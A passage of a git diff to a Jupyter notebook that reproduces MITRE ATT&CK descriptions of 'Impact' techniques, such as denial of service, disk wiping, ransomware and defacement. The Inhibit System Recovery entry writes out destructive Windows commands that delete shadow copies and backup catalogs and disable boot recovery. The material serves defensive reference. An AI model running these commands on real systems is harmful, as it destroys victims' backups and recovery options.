de5b1148..5bfbb4aa 100644 --- a/playbook/tactics/impact.ipynb +++ b/playbook/tactics/impact.ipynb @@ -2,14 +2,14 @@ "cells": [ { "cell_type": "markdown", - "id": "5c04ffb5", + "id": "61303111", "metadata": {}, - "source": "# Impact\nThe adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1498.002 | Reflection Amplification | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)\nT1498.001 | Direct Network Flood | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\nT1565.003 | Runtime Data Manipulation | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1565.002 | Transmitted Data Manipulation | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1565.001 | Stored Data Manipulation | Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1565 | Data Manipulation | Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1561.002 | Disk Structure Wipe | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\nT1561.001 | Disk Content Wipe | Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\nT1561 | Disk Wipe | Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\nT1499.004 | Application or System Exploitation | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. \nT1499.003 | Application Exhaustion Flood | Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)\nT1499.002 | Service Exhaustion Flood | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)\nT1499.001 | OS Exhaustion Flood | Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)\nT1491.002 | External Defacement | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)\nT1491.001 | Internal Defacement | An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)\nT1531 | Account Access Removal | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \nT1529 | System Shutdown/Reboot | Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\nT1499 | Endpoint Denial of Service | Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n\nT1498 | Network Denial of Service | Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\nT1496 | Resource Hijacking | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)\nT1495 | Firmware Corruption | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). \nT1494 | Runtime Data Manipulation | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1493 | Transmitted Data Manipulation | Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1492 | Stored Data Manipulation | Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nT1491 | Defacement | Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n\nT1490 | Inhibit System Recovery | Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\nT1489 | Service Stop | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\nT1488 | Disk Content Wipe | Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)\nT1487 | Disk Structure Wipe | Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\nT1486 | Data Encrypted for Impact | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)\nT1485 | Data Destruction | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)" + "source": "# Impact\nThe adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1561.002 | Disk Structure 